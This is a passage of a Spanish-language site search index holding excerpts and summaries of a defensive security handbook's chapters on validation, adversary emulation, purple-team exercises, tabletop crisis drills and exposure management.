rootkit, nunca del host que este ya controla.","tags":["blue-team","rootkit","kernel","deteccion","dfir-forense","memoria-forense","edr-xdr"],"title":"5.12 · Detección de rootkits: integridad de kernel y arranque","url":"/speculum/p5-blue-dfir/5-12-deteccion-rootkits/"},{"content":"Panorama Las Partes anteriores construyeron capacidades. La Parte 3 y la Parte 4 describieron cómo opera un adversario; la Parte 5 construyó la detección superficie por superficie; la Parte 1 construyó el programa de inteligencia que decide qué detectar y por qué eso antes que otra cosa. Todas ellas comparten un supuesto que ninguna verificó: que lo construido funciona.\nEse supuesto es más frágil de lo que parece, y no por incompetencia. Una regla se escribe correctamente y el campo del que depende deja de poblarse tres meses después. Un agente se despliega en toda la flota y queda desactivado en los doce equipos donde interfería con una aplicación de negocio. Una política se define y una excepción temporal se vuelve permanente. Nadie decidió degradar la defensa: la defensa se degradó sola, que es el modo habitual.\nLa función de validación existe para eso, y su formulación de referencia es difícil de mejorar: operar sin validación de seguridad es como instalar cámaras de vigilancia sin verificar que efectivamente graban. La organización que no valida no tiene defensas peores que las que cree tener; tiene defensas cuyo estado desconoce, que es una situación distinta y peor, porque además toma decisiones —dónde invertir, qué riesgo aceptar, cuándo darse por cubierta— sobre información inventada.\nDe ahí la tesis que abre la Parte: un control que no se probó empíricamente equivale, a efectos de planificación, a un control inexistente. No porque no funcione —puede funcionar perfectamente— sino porque nadie puede distinguir el caso en que funciona del caso en que no, y una capacidad que no se puede afirmar no se puede usar como base de ninguna decisión.\nLo que se valida no es la herramienta Conviene delimitar el objeto desde el principio, porque el error más común de un programa de validación incipiente es confundirlo con una evaluación de producto.\nLo que se valida es el sistema completo en su configuración real: el sensor, sí, pero también si su telemetría llega al SIEM, si la regla existe, si dispara, si la alerta es visible para un humano en el turno correcto, y si ese humano tiene el procedimiento y la autoridad para hacer algo. Una cadena de siete eslabones donde el producto es uno solo. El adversario no encuentra un antivirus: encuentra una organización, y la falla puede estar en cualquiera de los otros seis eslabones sin que el producto tenga nada que ver.\nEl micro-caso canónico de la fuente ilustra el punto mejor que cualquier definición. Una organización opera bajo la expectativa de que toda la actividad de PowerShell queda registrada centralmente por su plataforma de protección de endpoints. Ejecuta una prueba dirigida y descubre la realidad: los eventos solo se registran cuando están asociados a una alerta de malware. El producto funcionaba exactamente como estaba diseñado. La expectativa era falsa, y el hueco —invisible durante meses, y descubierto solo porque alguien probó— era precisamente el que 5.2 identificó como el corazón de la telemetría de ejecución: sin el registro de bloque de script no se recupera lo que efectivamente se ejecutó.\nEse patrón —expectativa, prueba, realidad, corrección— es el ciclo entero de la función, y su valor está en que convierte una creencia en un dato. La creencia no se puede corregir porque no se sabe que es falsa.\nflowchart LR EXP[\"EXPECTATIVA\\n«PowerShell se registra\\ncentralmente»\"] --\u003e PRU[\"PRUEBA dirigida\\n(comportamiento real,\\nno escaneo)\"] PRU --\u003e REA[\"REALIDAD observada\\n«solo se registra si hay\\nalerta de malware»\"] REA --\u003e CLA{\"¿Qué pasó?\"} CLA --\u003e|\"prevenido\"| OK[\"control efectivo\\n→ registrar y re-probar\\nperiódicamente (drift)\"] CLA --\u003e|\"alertado\"| OK CLA --\u003e|\"registrado\\npero NO alertado\"| REG[\"falta la REGLA\\n(telemetría ya existe:\\ncorrección barata)\"] CLA --\u003e|\"invisible\"| VIS[\"falta la TELEMETRÍA\\n(corrección cara:\\nprimero ingerir)\"] REG --\u003e COR[\"CORRECCIÓN\\ncon dueño y fecha\"] VIS --\u003e COR COR --\u003e|\"re-ejecutar\"| PRU COR -.-\u003e|\"si no se puede prevenir\\nni alertar: misión de\\ncacería (5.1)\"| HUNT[\"Hunt\"]Por qué se valida la detección y no solo la prevención Hay una razón estructural por la cual un programa de validación maduro dedica más esfuerzo a la detección que a la prevención, y viene del cambio de postura que ordena todo el bloque azul: assume breach, la aceptación de que el adversario va a entrar y de que el objetivo deja de ser bloquear todos los ataques para pasar a sobrevivir a los que ocurran.\nEse cambio tiene dos causas que la fuente enuncia bien. La primera es la disolución del perímetro: infraestructura híbrida, dispositivos personales, servicios de terceros. La identidad pasó a ser el perímetro, y es un perímetro que no se puede amurallar porque su función es dejar pasar gente. Es exactamente la dirección que 1.6 identificó como la más consolidada del momento y que 5.3 desarrolló desde la detección.\nLa segunda es la asimetría temporal, y es el argumento cuantitativo. Comprometer una organización lleva poco tiempo; advertirlo lleva mucho —la cifra clásica del sector, del orden de doscientos veintinueve días de permanencia no detectada, envejeció mejor de lo que a nadie le gustaría—. Ese hueco entre el momento del compromiso y el momento de la detección es el único intervalo en que el adversario hace todo lo que vino a hacer: reconocer, moverse lateralmente, escalar, preparar la salida.\nLa comparación que ordena la inversión. Si el tiempo que tarda un adversario en comprometer un objetivo es menor que el tiempo que tarda la organización en detectarlo, la prevención adicional no cambia el resultado: compra minutos frente a un déficit de meses. La consecuencia práctica no es dejar de prevenir —la prevención sigue siendo lo más barato por unidad de riesgo evitado— sino dejar de creer que un control preventivo nuevo compensa una capacidad de detección ausente. Y como el intervalo de detección solo se puede medir provocándolo, el programa de validación es la única fuente honesta de ese número. Conviene añadir una advertencia sobre las métricas que ese razonamiento produce, en la misma línea que 1.5 planteó para el programa de inteligencia: las medias agregadas —tiempo medio hasta el compromiso, tiempo estimado hasta la detección— son útiles para discutir con la dirección y malas para decidir técnicamente, porque promedian casos que no se parecen. Un tiempo medio de detección aceptable puede convivir con una ceguera total frente a una técnica concreta, y es esa ceguera —no el promedio— lo que el adversario va a usar. La validación se lee por técnica, no por promedio.\nEl drift: por qué es una función y no un proyecto La razón por la que la validación tiene que ser continua no es que aparezcan amenazas nuevas —que también— sino que el propio entorno se mueve. Cada cambio legítimo es una oportunidad de degradación silenciosa: una exclusión agregada para que una aplicación funcione, una actualización que reinicia una configuración a su valor por defecto, una migración que deja un conjunto de servidores fuera del alcance del agente, una regla desactivada durante un incidente y nunca reactivada.\nNinguno de esos cambios es un error grave por sí solo, y todos son razonables en el momento en que se hacen. El efecto acumulado es una defensa cuya postura real diverge lentamente de la documentada, y la divergencia es invisible por definición: nada avisa que algo dejó de vigilar. Es la misma clase de problema que 5.10 señaló a propósito de la auditoría —el cese de eventos es en sí una alerta que hay que construir, porque un sensor apagado no informa de su apagado— generalizada a todo el conjunto de controles.\nDe ahí que la validación sea una función permanente y no un proyecto anual. Y de ahí también el reencuadre que esta Parte le hace a un trabajo que el manual ya hizo: 5.8 midió empíricamente qué detectaba un sensor concreto y encontró cosas incómodas —muestras que evadían de forma permanente, una brecha sistemática entre lo que se detecta en disco y lo que se detecta en ejecución, cadenas de c","section":"P6 · Purple Team y Validación","summary":"El capítulo que abre la Parte 6. Sostiene que sin validación una organización opera sobre supuestos —instalar cámaras sin verificar que graban—, que el enemigo silencioso es el drift de configuración porque la defensa se degrada sin que nadie lo decida, y que la asimetría temporal entre lo que tarda el adversario en comprometer y lo que tarda la defensa en advertirlo es lo que obliga a validar la detección y no solo la prevención. Incluye la taxonomía de ejercicios —pentest, red team, purple, simulación automatizada y tabletop— con qué pregunta responde cada uno y cuál no.","tags":["purple-team","validacion","red-team","deteccion","assume-breach","metricas","blue-team"],"title":"6.1 · La función de validación: por qué un control no probado no existe","url":"/speculum/p6-purple/6-1-funcion-validacion/"},{"content":"Panorama El capítulo anterior estableció por qué se valida y cerró con el primer paso del método: decidir qué se prueba y con qué fidelidad, lo que exige convertir un producto de inteligencia en un plan ejecutable. Este capítulo es ese paso. Es también el punto donde la Parte 6 se conecta con la Parte 1: la emulación de adversario (adversary emulation) es el mecanismo por el cual el conocimiento sobre cómo opera un atacante concreto —producido, evaluado y priorizado por el programa de inteligencia— se transforma en una secuencia de acciones reproducibles que se ejecutan contra la propia defensa para observar qué ve y qué no.\nConviene fijar la distinción que ordena todo lo demás, porque es la que más se confunde en la práctica. Un pentest —y en buena medida un red team— tiene por objetivo entrar: encontrar un camino de compromiso y recorrerlo. La emulación tiene por objetivo reproducir un comportamiento: ejecutar un conjunto de técnicas conocidas, se detecten o no, para medir la respuesta del entorno frente a ellas. La diferencia no es de intensidad sino de finalidad, y tiene una consecuencia inmediata sobre el insumo. El pentest parte de una superficie de ataque y busca sus debilidades; la emulación parte de un producto de inteligencia —un actor, una campaña, un conjunto de TTP— y busca comprobar la visibilidad frente a él. Por eso la tesis del capítulo es que la calidad de una emulación está acotada por la calidad del CTI que la alimenta: se emula lo que se conoce, y no se conoce mejor de lo que el programa de inteligencia permite conocer.\nEmular no es lo mismo que penetrar, ni que simular Vale la pena separar tres actividades que el vocabulario del sector mezcla, porque cada una responde una pregunta distinta y usarlas como sinónimos lleva a comprar la herramienta equivocada.\nLa emulación reproduce el comportamiento de un adversario específico y conocido. Su unidad de trabajo es el TTP documentado —esta familia de actores usa esta técnica de acceso inicial, esta de persistencia, esta de movimiento lateral— y su fidelidad se mide por cuánto se parece la secuencia ejecutada a la secuencia real observada en incidentes. Es dirigida por inteligencia por definición: sin un actor de referencia no hay nada que emular.\nLa simulación ejecuta comportamientos maliciosos representativos pero no atribuidos a nadie en particular. No pregunta «¿vería mi defensa a este grupo concreto?» sino «¿sigue funcionando la detección de esta clase de técnica?». Es el terreno natural de las plataformas automatizadas, que ejecutan un catálogo amplio de forma repetible y programada. La distinción con la emulación es sutil pero útil: la emulación prioriza la fidelidad a un adversario; la simulación prioriza la cobertura y la cadencia de un catálogo.\nEl pentest y el red team, ya tratados en 6.1, comparten con las dos anteriores el uso de técnicas ofensivas reales, pero su objetivo es el compromiso, no la medición de visibilidad. Un red team puede emular a un actor —de hecho, un buen red team parte de un plan de emulación— pero lo subordina a un objetivo de intrusión y a la evasión; la emulación pura invierte esa prioridad y ejecuta las técnicas a la vista, porque lo que quiere medir es exactamente si se las ve.\nLa regla práctica para elegir. Si la pregunta es ¿nos comprometería este grupo sin que lo notemos?, el instrumento es un red team con un plan de emulación como guion. Si la pregunta es ¿tenemos visibilidad sobre las técnicas de este grupo?, es una emulación abierta e instrumentada —el material del purple team—. Si la pregunta es ¿sigue funcionando hoy la detección que validamos el mes pasado?, es simulación automatizada. Las tres usan el mismo repertorio técnico; lo que cambia es qué se mide y con qué frecuencia se repite. El insumo es inteligencia: a quién se emula y por qué a ese La decisión más importante de una emulación se toma antes de ejecutar nada: a quién se emula. Emular a todos los adversarios posibles no es factible, y emular al azar produce cobertura ilusoria. La selección es un problema de priorización, y es exactamente el que el programa de inteligencia ya resolvió.\nLa priorización de 1.2 —qué actores son relevantes para el sector, la geografía y el perfil de la organización— decide a quién se emula. No se emula al grupo más sofisticado ni al más mediático, sino al que con más probabilidad va a dirigirse contra este entorno concreto, que es una pregunta que solo el CTI puede responder. Y una vez elegido el actor, el nivel operativo de 1.5 aporta el material del que se construye el plan: cómo opera ese grupo en concreto, con qué herramientas, en qué orden, contra qué objetivos.\nEl instrumento que hace utilizable ese material es ATT\u0026CK, ya presentado en 1.3 como modelo de análisis. Aquí cambia de rol: de marco para clasificar lo observado pasa a plantilla para construir lo que se va a ejecutar. Un actor documentado en ATT\u0026CK viene con su conjunto de técnicas mapeadas por táctica, y esa lista es el esqueleto del plan de emulación. MITRE publica además planes de emulación de adversario completos —secuencias detalladas que reproducen campañas concretas paso a paso— que ahorran el trabajo de derivar el plan desde cero para los actores más estudiados.\nEse cambio de rol arrastra los límites que 1.3 ya señaló, y conviene tenerlos presentes para no sobreinterpretar el resultado. ATT\u0026CK es un catálogo de lo observado y documentado, no un mapa de lo posible: emular sus técnicas mide la visibilidad frente a lo conocido, no frente a lo que todavía nadie catalogó. Y la matriz invita a un conteo tranquilizador —«cubrimos tantas técnicas de tantas»— que 1.3 ya desarmó como heat map engañoso: la cobertura de una técnica no es binaria, y contar casillas pintadas dice poco sobre la profundidad real de la detección. La emulación existe, precisamente, para reemplazar ese conteo por una medición.\nDel TTP al plan: el continuo de fidelidad Con el actor elegido y sus técnicas mapeadas, queda decidir cómo se ejecuta. Hay un continuo entre dos extremos, y cada punto compra una cosa a costa de otra: la fidelidad al adversario real y la repetibilidad automatizada tiran en direcciones opuestas.\nEn un extremo están las pruebas atómicas (atomic tests): la ejecución aislada de una sola técnica, de la forma más simple que la dispare. El proyecto de referencia es Atomic Red Team, una biblioteca abierta de pruebas indexadas por identificador de ATT\u0026CK, donde cada prueba es una acción pequeña y declarada —crear una tarea programada, volcar un proceso, ejecutar un comando codificado— con sus requisitos y su procedimiento de limpieza. La prueba atómica responde una pregunta precisa y barata: ¿esta técnica concreta, ejecutada de este modo, produce la telemetría que espero y dispara la regla que creo tener? Es el equivalente en validación de la prueba unitaria en software, y su virtud es que aísla la variable: si falla, se sabe exactamente qué falló.\nEn el extremo opuesto están los planes de emulación encadenados: la ejecución de una secuencia completa que reproduce una campaña de principio a fin —acceso inicial, ejecución, persistencia, escalada, descubrimiento, movimiento lateral, recolección, exfiltración— en el orden en que el actor real la ejecuta. La herramienta abierta de referencia es CALDERA, de MITRE, que orquesta agentes en los equipos objetivo y ejecuta adversaries —perfiles compuestos de habilidades encadenadas— de forma semiautónoma. Lo que la prueba atómica no puede medir y la cadena sí es la correlación: si la detección depende de ver varios comportamientos juntos —el patrón que 5.6 desarrolló para el movimiento lateral, donde ninguna acción aislada es concluyente y la señal vive en la secuencia— entonces solo un plan encadenado revela si esa correlación efectivamente ocurre.\nEn el medio, y con otra economía, está la simulación automatizada de plataformas comerciales de breach and attack simulation (BAS). Ejecutan un catálogo extenso de comportamientos de forma programada y continua","section":"P6 · Purple Team y Validación","summary":"El puente entre el programa de inteligencia y la validación empírica. Sostiene que la emulación se distingue del pentest en que no busca entrar sino reproducir un comportamiento conocido: su insumo no es una lista de vulnerabilidades sino un producto de inteligencia, y por eso la calidad del ejercicio está acotada por la calidad del CTI que lo alimenta. Recorre el continuo de fidelidad —pruebas atómicas por técnica, planes de emulación encadenados, simulación automatizada continua— y fija las reglas de enfrentamiento y seguridad del ejercicio, con el aviso de que un ejercicio no anunciado puede disparar una respuesta a incidentes real.","tags":["purple-team","validacion","emulacion-adversario","att\u0026ck","threat-intel","red-team","deteccion"],"title":"6.2 · Emulación de adversario: del TTP al plan de ejercicio","url":"/speculum/p6-purple/6-2-emulacion-adversario/"},{"content":"Panorama El capítulo anterior terminó con una advertencia: ejecutar un plan de emulación y observar qué pasa es solo la mitad del trabajo. La otra mitad —convertir la observación en una mejora— es el objeto de este capítulo, y es también el corazón operativo de la Parte 6. El ejercicio purple (purple team) es la forma de validación en la que la ofensiva y la defensa trabajan juntas, en la misma sala y sobre el mismo plan, con un objetivo declarado que no es ganar sino cerrar el lazo dentro del propio ejercicio.\nLa tesis del capítulo conviene enunciarla de entrada porque corrige un malentendido extendido. Lo valioso del purple no es descubrir que algo no se detecta: eso lo hace también un red team, y a menudo mejor, porque opera sin avisar y encuentra el camino que nadie anticipó. Lo que el purple aporta y el red team no es que la corrección y la re-ejecución ocurren en la misma sesión. Se ejecuta una técnica, se observa que no dispara nada, se escribe la regla que falta, y se vuelve a ejecutar la técnica para confirmar que ahora sí dispara —todo antes de que el equipo se levante de la mesa—. Esa re-ejecución es el paso que casi ningún programa da, y es exactamente el que separa un hallazgo de una mejora. Un informe que dice «no detectamos la técnica X» es un pendiente; una regla que se escribió, se probó y se confirmó disparando es una capacidad nueva.\nQué distingue al purple de las demás formas de probar La taxonomía de ejercicios de 6.1 ya ubicó al purple entre las cinco formas de validar; aquí interesa el mecanismo por el cual produce su retorno particular. Un red team entrega, al final, un diagnóstico: esta es la cadena que recorrimos, esto se detectó, esto no. El diagnóstico es honesto y valioso, pero es una foto, y la corrección queda como trabajo posterior que compite con todo lo demás en la cola del equipo de detección —y que, con frecuencia previsible, no se hace—.\nEl purple invierte ese orden. La ejecución se anuncia, se instrumenta y se detiene después de cada técnica para mirar juntos qué produjo. Cuando una técnica no genera la señal esperada, el equipo de detección no toma nota para después: ajusta la regla o pide la telemetría en ese momento, y la ofensiva repite la técnica para verificar el arreglo. La colaboración no es un detalle de estilo —es la condición de que el lazo se cierre—, porque quien ejecuta la técnica sabe exactamente qué hizo y quien construye la detección puede preguntárselo en lugar de inferirlo de una telemetría incompleta. El purple no es un examen sorpresa: es una sesión de calibración conjunta.\nEsto define también su límite, ya adelantado en 6.1 y que conviene no olvidar: el purple valida en profundidad lo que alguien pensó en probar. No descubre la técnica que a nadie se le ocurrió incluir en el plan. Por eso es complementario del red team, no un sustituto: el red team aporta la sorpresa, el purple aporta la cobertura y la corrección.\nLos cuatro resultados de cada prueba Cada técnica ejecutada cae en uno de cuatro resultados, y clasificarla bien es lo que convierte el ejercicio en algo accionable. La clasificación es la misma que ordenó el lazo en 6.1; lo que aquí se agrega es qué corrección corresponde a cada caso y cuánto cuesta.\nPrevenida. El control bloqueó la técnica antes de que se completara. Es el mejor resultado desde la seguridad, pero no cierra el trabajo: hay que registrar que se previno y volver a probarlo periódicamente, porque un bloqueo que hoy funciona es exactamente el tipo de cosa que el drift desactiva sin avisar.\nAlertada. La técnica se ejecutó, la telemetría llegó, la regla disparó y la alerta fue visible para un humano en el turno correcto. La cadena de siete eslabones de 6.1 funcionó completa. Se registra y se sigue.\nRegistrada pero no alertada. Este es el resultado más valioso del ejercicio, y la razón es económica. La telemetría del comportamiento ya está —el evento se generó, llegó al SIEM, quedó almacenado— pero no existe la regla que lo convierta en alerta. La corrección es barata: no hay que desplegar sensores nuevos ni cambiar la ingesta, solo escribir una regla sobre datos que ya se tienen. Un ejercicio purple bien hecho produce, sobre todo, este tipo de hallazgo, y cada uno es una alerta nueva a costo casi nulo.\nInvisible. La técnica no dejó ningún rastro utilizable: la telemetría necesaria no se está recolectando. La corrección es cara porque hay que actuar sobre la capa de datos —habilitar una auditoría, desplegar un sensor, configurar un reenvío— y solo entonces se puede pensar en la regla. Es el mismo orden de prioridades que 5.2 estableció: no se detecta lo que no se registra, y registrar es el prerrequisito, no el detalle.\nPor qué el registrado-no-alertado importa más que el invisible. La intuición sugiere que lo invisible es lo más urgente —es donde la ceguera es total—, y a veces lo es. Pero el registrado-no-alertado es donde el ejercicio compra más detección por unidad de esfuerzo: la inversión cara (recolectar la telemetría) ya está hecha y desperdiciada por falta de una regla barata. Un programa que solo persigue lo invisible gasta en sensores nuevos mientras deja sin explotar la telemetría que ya paga. La secuencia sensata es primero cosechar las reglas que faltan sobre datos existentes, después decidir qué telemetría nueva justifica su costo. Instrumentar antes de ejecutar Un ejercicio purple mide con precisión solo si la instrumentación se prepara antes de la primera técnica, y esto es más que encender el SIEM. Instrumentar significa tres cosas.\nPrimero, asegurar la visibilidad de ambos lados: quien defiende tiene que poder ver la telemetría en tiempo real durante la ejecución, no reconstruirla después, porque el valor del formato colaborativo está en discutir cada resultado en el momento. Segundo, marcar la actividad del ejercicio —el aviso de 6.2 sobre no contaminar la telemetría de producción se cumple aquí—: cada acción de la ofensiva queda etiquetada como propia, para que no envenene líneas base ni deje falsos positivos que sobrevivan a la sesión, y para poder distinguir, si aparece, la actividad de un adversario real de la del ejercicio. Tercero, fijar de antemano el criterio de éxito de cada técnica: qué se espera que ocurra —prevención, alerta, con qué latencia— para que la clasificación en los cuatro resultados no se improvise ni se negocie sobre la marcha. Es la expectativa escrita que 6.1 exigió, ahora por técnica.\nflowchart LR PREP[\"INSTRUMENTAR\\nvisibilidad 2 lados ·\\nmarcar actividad ·\\ncriterio de éxito\"] --\u003e EXE[\"EJECUTAR\\nla técnica del plan\\n(6.2), anunciada\"] EXE --\u003e CLA{\"clasificar\\nresultado\"} CLA --\u003e|\"prevenida / alertada\"| REG[\"registrar\\n+ re-probar\\nperiódicamente\"] CLA --\u003e|\"registrada\\nNO alertada\"| RULE[\"escribir la REGLA\\n(datos ya existen:\\ncorrección barata)\"] CLA --\u003e|\"invisible\"| TELE[\"habilitar TELEMETRÍA\\n(corrección cara)\\n→ luego la regla\"] RULE --\u003e REEX[\"RE-EJECUTAR\\nla misma técnica\"] TELE --\u003e REEX REEX --\u003e|\"ahora dispara\"| CONF[\"confirmado:\\ncapacidad nueva\"] REEX -.-\u003e|\"sigue sin verse\\ny no se puede automatizar\"| HUNT[\"hipótesis de\\ncacería (5.1)\"] CONF --\u003e EXELa detección como código: el arreglo se prueba como se prueba el software El paso de corrección del ejercicio produce reglas de detección, y la disciplina que las sostiene en el tiempo es tratarlas como código —detection-as-code—. Una regla escrita durante un purple y confirmada disparando es correcta hoy; lo que garantiza que siga siéndolo es guardarla en control de versiones, someterla a revisión, y validarla automáticamente en un flujo de integración continua que ejecute la técnica correspondiente y verifique que la regla dispara con cada cambio. Es la generalización del hallazgo de 5.8: la regla no está terminada cuando se escribe, sino cuando se verificó que dispara —y, si esa verificación es manual y se hace una sola vez, vuelve a caducar con el primer cambio de entorno—.\nAquí es donde el purple y la simulación automatizada de 6.2 se encuentran: la prueba atómica ","section":"P6 · Purple Team y Validación","summary":"El núcleo operativo de la Parte 6. Sostiene que el valor del ejercicio purple no está en descubrir que algo no se detecta —eso también lo hace un red team— sino en que la corrección y la re-ejecución ocurren dentro del mismo ejercicio: la re-ejecución es el paso que casi nadie da y el único que convierte un hallazgo en una mejora. Recorre los cuatro resultados posibles de cada prueba y por qué el registrado-pero-no-alertado es el más valioso, la instrumentación previa, el ciclo iterativo, la detección como código validada en CI, la trampa de la matriz de cobertura, el entregable —reglas, no informes— y la salida que el cierre del lazo rechaza: aceptar el riesgo sin dueño ni fecha.","tags":["purple-team","validacion","deteccion","detection-as-code","sigma","threat-hunting","blue-team"],"title":"6.3 · El ejercicio purple: ciclo, instrumentación y cierre del lazo","url":"/speculum/p6-purple/6-3-ejercicio-purple/"},{"content":"Panorama El capítulo anterior cerró con una limitación: todo lo que el purple valida son controles —sensores, reglas, telemetría, la cadena técnica que convierte un comportamiento en una alerta—. Queda fuera una clase de falla que ningún control detecta y que, en una crisis real, suele decidir el resultado: quién tiene autoridad para desconectar un sistema, cuándo se declara formalmente un incidente, quién habla en nombre de la organización, y con qué se cuenta si la infraestructura de la que depende la respuesta también cayó.\nEl ejercicio de mesa (tabletop exercise) valida precisamente eso. Es un ejercicio de discusión: no toca la infraestructura, no ejecuta técnicas, no produce reglas. Reúne a las personas que tendrían que responder a un incidente, les presenta un escenario que se va complicando, y observa cómo deciden. Su tesis, y lo que lo separa de todo lo anterior en esta Parte, es un cambio de sujeto: los tres capítulos previos validan controles; este valida decisiones, y el sujeto ya no es el sensor sino la organización. La pregunta deja de ser «¿esto se detecta?» y pasa a ser «¿sabemos qué hacer, quién decide y con qué contamos?».\nEl motivo por el que esa pregunta merece un ejercicio propio es empírico: lo que falla en una crisis real rara vez es la herramienta. El EDR alertó, o no —eso ya lo validaron 6.1 a 6.3—. Lo que se rompe es más arriba y más difícil de arreglar en caliente: nadie sabía quién podía autorizar apagar el sistema de facturación, el plan de respuesta estaba en el servidor de archivos que el ransomware cifró, la persona que decidía si se paga estaba de viaje y sin cobertura, y el equipo legal se enteró por la prensa. Ninguna de esas fallas la detecta un sensor, y todas se ensayan barato en una sala de reuniones.\nDos niveles: el técnico y el ejecutivo Bajo el mismo nombre conviven dos ejercicios que responden preguntas distintas y que conviene no mezclar, porque el error frecuente es correr uno creyendo que se corrió el otro.\nEl tabletop técnico pone a prueba al equipo de respuesta: ¿tenemos los procedimientos, sabemos usarlos, nos coordinamos? El escenario baja al detalle operativo —qué se aísla primero, cómo se preserva la evidencia, en qué orden se contiene— y su valor es descubrir procedimientos ausentes, contradictorios o que asumen accesos que el incidente elimina. Es el complemento en frío del ciclo de respuesta que 5.4 desarrolló; no lo reexplica —el ciclo NIST, la regla del tempo y la recuperación ya están allí— sino que verifica que el equipo sabe ejecutarlo bajo presión y con información incompleta.\nEl tabletop ejecutivo o estratégico pone a prueba a la dirección, y su materia no son los procedimientos sino las decisiones que solo la dirección puede tomar: cuándo se declara una crisis, quién asume el mando, qué se comunica y a quién, si se paga o no, si se interrumpe una línea de negocio. En este nivel el detalle técnico es deliberadamente secundario —al director financiero no le toca decidir qué comando ejecutar— y lo que se valida es la cadena de autoridad y la calidad de las decisiones bajo incertidumbre. Un programa maduro corre los dos, y a veces los conecta: el escenario técnico escala hasta que dispara una decisión que solo el nivel ejecutivo puede tomar, y ahí se ve si la transición entre ambos existe o si el equipo técnico se queda esperando una autorización que nadie sabe dar.\nEl plan que asume su propia infraestructura viva Hay un modo de fallo tan común que merece sección propia, y el tabletop es el lugar donde se descubre sin pagar el precio de descubrirlo en la crisis: el plan de respuesta que depende de la infraestructura que el incidente derriba. Los contactos de emergencia en un directorio corporativo que quedó inaccesible; el manual de respuesta —el runbook— en el servidor de archivos que el ransomware cifró; las credenciales de acceso al proveedor de respuesta en el gestor que también cayó; el canal de comunicación interno que corre sobre el mismo dominio comprometido.\nEs exactamente el patrón que 5.4 identificó en dos formas: el plan rígido que WannaCry volvió inútil porque asumía condiciones que el ataque eliminó, y el backup que no sirve si está en línea y el ransomware lo alcanza junto con todo lo demás. La lección se generaliza: un plan de respuesta tiene que asumir que la infraestructura normal no está disponible, y por eso los contactos, los runbooks y las credenciales críticas viven también fuera de banda —en papel, en un sistema independiente, en un dispositivo que no comparte el destino del que se está defendiendo—.\nLa prueba que casi ningún plan pasa la primera vez. En el ejercicio, cuando el escenario establece que el dominio está comprometido y los sistemas de archivos cifrados, se hace una pregunta simple: ¿cómo se contacta ahora al proveedor de respuesta, y dónde está el runbook? La respuesta honesta, la primera vez, suele revelar que ambos están dentro de lo que acaba de caer. Ese hallazgo —barato en una sala, carísimo a las tres de la mañana de un incidente real— es de los que más justifican el ejercicio. La corrección es aburrida y efectiva: una copia fuera de banda de la lista de contactos, el runbook y las credenciales de emergencia, verificada periódicamente como cualquier otro control sujeto al drift de 6.1. Las decisiones incómodas se ensayan en frío El aporte central del tabletop ejecutivo es forzar, en un momento sin consecuencias, decisiones que en la crisis real se toman bajo presión, con información parcial y sin tiempo para deliberar. Ensayarlas en frío no produce la respuesta correcta —muchas no la tienen— sino algo más útil: establecer de antemano quién decide y con qué criterios, para que en el incidente la discusión sea sobre los hechos y no sobre la autoridad.\nCuatro de esas decisiones aparecen en casi todo escenario serio. Pagar o no un rescate: una decisión con aristas legales, éticas, financieras y reputacionales que no puede improvisarse mientras un temporizador corre. Notificar al regulador: muchas jurisdicciones imponen plazos estrictos desde el momento en que se conoce una brecha de datos, y el reloj empieza antes de que se entienda el alcance —quién decide que el umbral se cruzó, y con qué asesoría, se define antes—. Comunicar públicamente: qué se dice, cuándo y quién lo dice, sabiendo que el silencio y la sobreexposición tienen costos distintos y que la primera versión condiciona todo lo que sigue. Y contener aunque interrumpa el negocio: desconectar el sistema comprometido puede detener la facturación, la producción o el servicio, y esa es una decisión de negocio, no técnica.\nEse último punto merece precisión porque conecta con un capítulo previo. La regla del tempo de 5.4 —contener solo con el alcance acotado, de forma completa y simultánea, para no alertar al adversario con una remediación prematura— se presentó allí como una decisión técnica de respuesta. Vista desde aquí es, en buena parte, una decisión ejecutiva disfrazada de decisión técnica: elegir el momento de contener implica sopesar la interrupción del negocio contra el riesgo de que el adversario avance, y ese balance no lo puede ni lo debe cargar en soledad el analista de turno. El tabletop es donde se descubre que esa decisión no tenía dueño, y donde se le asigna uno antes de necesitarlo.\nflowchart TB DET[\"Incidente detectado\\n(6.1–6.3 validaron\\nque llega hasta aquí)\"] --\u003e DECL{\"¿Se declara\\ncrisis?\\n¿quién?\"} DECL --\u003e CONT{\"¿Contener ahora\\naunque pare el\\nnegocio?\"} CONT --\u003e|\"decisión ejecutiva,\\nno del analista\"| OWN1[\"dueño: dirección\\n+ criterio previo\\n(tempo de 5.4)\"] DECL --\u003e REG{\"¿Notificar al\\nregulador?\\n(plazo corriendo)\"} REG --\u003e OWN2[\"dueño: legal\\n+ umbral definido\\nantes\"] DECL --\u003e COM{\"¿Comunicar\\npúblicamente?\\n¿quién habla?\"} COM --\u003e OWN3[\"dueño: comunicación\\n+ vocero único\"] DECL --\u003e PAY{\"¿Pagar\\nrescate?\"} PAY --\u003e OWN4[\"dueño: dirección\\n+ postura previa\\n(legal/ético/seguro)\"] OWN1 --\u003e AAR[\"After-action:\\nlagunas → dueños\\ny fechas\"] OWN2 --\u003e AAR OWN3 --\u003e AAR OWN","section":"P6 · Purple Team y Validación","summary":"El capítulo que desplaza el sujeto de la validación. Los tres anteriores validan controles —sensores, reglas, telemetría—; este valida decisiones, y el sujeto ya no es el sensor sino la organización. Sostiene que lo que falla en una crisis real rara vez es el EDR: es quién tiene autoridad para desconectar, cuándo se declara el incidente, quién habla en nombre de la empresa y con qué se cuenta si la infraestructura de respuesta también está caída. Distingue el tabletop técnico del ejecutivo, expone el error del plan que asume su propia infraestructura viva, y ordena las decisiones incómodas que solo sirven si se ensayan en frío.","tags":["purple-team","validacion","tabletop","respuesta-incidentes","gobernanza","crisis","toma-de-decisiones"],"title":"6.4 · Tabletop y ejercicios de crisis","url":"/speculum/p6-purple/6-4-tabletop-crisis/"},{"content":"Panorama El capítulo anterior cerró validando las decisiones que se toman cuando la detección se convierte en crisis. Queda una última pieza de la Parte, y devuelve el foco al otro extremo del problema: no cómo se responde a un adversario que ya actúa, sino qué exposiciones existen antes de que actúe, cuáles importan y en qué orden se cierran. Esa es la diferencia entre escanear vulnerabilidades y gestionar la exposición, y es más grande de lo que el vocabulario sugiere.\nUn escáner de vulnerabilidades es una herramienta que enumera debilidades conocidas: puertos abiertos, versiones sin parchear, configuraciones inseguras. Es barato, amplio y automático, y produce mucho. La gestión de exposición (threat exposure management) es el proceso que convierte esa enumeración en reducción de riesgo real, y sin él el escáner es contraproducente. De ahí la primera mitad de la tesis del capítulo: un escáner sin un ciclo de remediación no produce seguridad, sino ruido con apariencia de diligencia. Un informe de diez mil hallazgos que nadie prioriza, asigna ni cierra no reduce la superficie de ataque; produce la sensación de que se está haciendo algo mientras el atacante recorre tranquilo las mismas exposiciones que el 